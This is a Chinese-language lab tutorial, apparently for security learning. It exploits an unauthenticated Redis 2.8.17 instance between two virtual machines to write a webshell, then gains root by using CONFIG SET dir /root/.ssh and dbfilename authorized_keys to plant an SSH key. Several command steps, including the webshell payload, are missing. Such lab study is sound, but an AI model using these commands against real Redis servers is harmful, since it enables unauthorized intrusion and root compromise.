环境准备
-
下载并安装Redis
首先,下载Redis的源代码包并解压:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17
接着,编译安装Redis:
编译完成后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下:cd src sudo cp redis-server redis-cli /usr/bin/
然后,将Redis配置文件redis.conf拷贝到/etc/目录下:cd .. sudo cp redis.conf /etc/
使用配置文件启动Redis服务:sudo redis-server /etc/redis.conf
-
克隆虚拟机
将当前虚拟机克隆为两台虚拟机,一台作为攻击机,一台作为靶机。设定如下IP地址:
- 攻击机 IP: 192.168.205.148

- 靶 机 IP: 192.168.205.149

启动Redis服务后,我们将使用
redis-cli工具在攻击机上与靶机上的Redis服务进行交互。 - 攻击机 IP: 192.168.205.148
未授权访问漏洞测试
Redis在未启用认证的情况下,可能允许任何人无授权访问。使用Redis客户端直接连接靶机Redis服务进行验证:
redis-cli -h 192.168.205.149

若能成功连接且未要求认证,则说明Redis服务存在未授权访问漏洞。
利用Redis写入Webshell
利用Redis未授权访问漏洞,可以写入Webshell来实现远程代码执行。以下是利用Redis的步骤:
-
确认条件
- 靶机Redis服务未启用认证
- 攻击机能通过
redis-cli连接到靶机 - 靶机上有Web服务器,并且知道Web服务器的路径
-
写入Webshell
将Webshell写入靶机的Web目录。例如,将Webshell写入
/home/wcy/目录下:
确认Webshell是否成功写入后,在靶机上以验证:

利用Redis公私钥认证获取Root权限
当Redis服务以Root权限运行时,可以通过向Redis中写入SSH公钥文件来获得Root权限。以下是具体步骤:
-
配置Redis
启动Redis服务:
sudo redis-server /etc/redis.conf -
创建SSH公钥目录
在靶机中创建SSH公钥存放目录:
mkdir /root/.ssh -
生成SSH密钥对
在攻击机上生成SSH密钥对,并将公钥保存到文件中:


-
将公钥写入Redis
连接到靶机Redis服务:
redis-cli -h 192.168.205.149
获取Redis配置中的目录路径:CONFIG GET dir
将目录路径更改为SSH公钥目录,并将公钥文件名设置为authorized_keys:CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys
将公钥写入Redis:
-
验证并使用SSH登录
在攻击机上,使用生成的私钥进行SSH免密登录:
ssh -i id_rsa root@192.168.205.149成功登录后,即完成了利用Redis未授权访问漏洞获取Root权限的过程。



















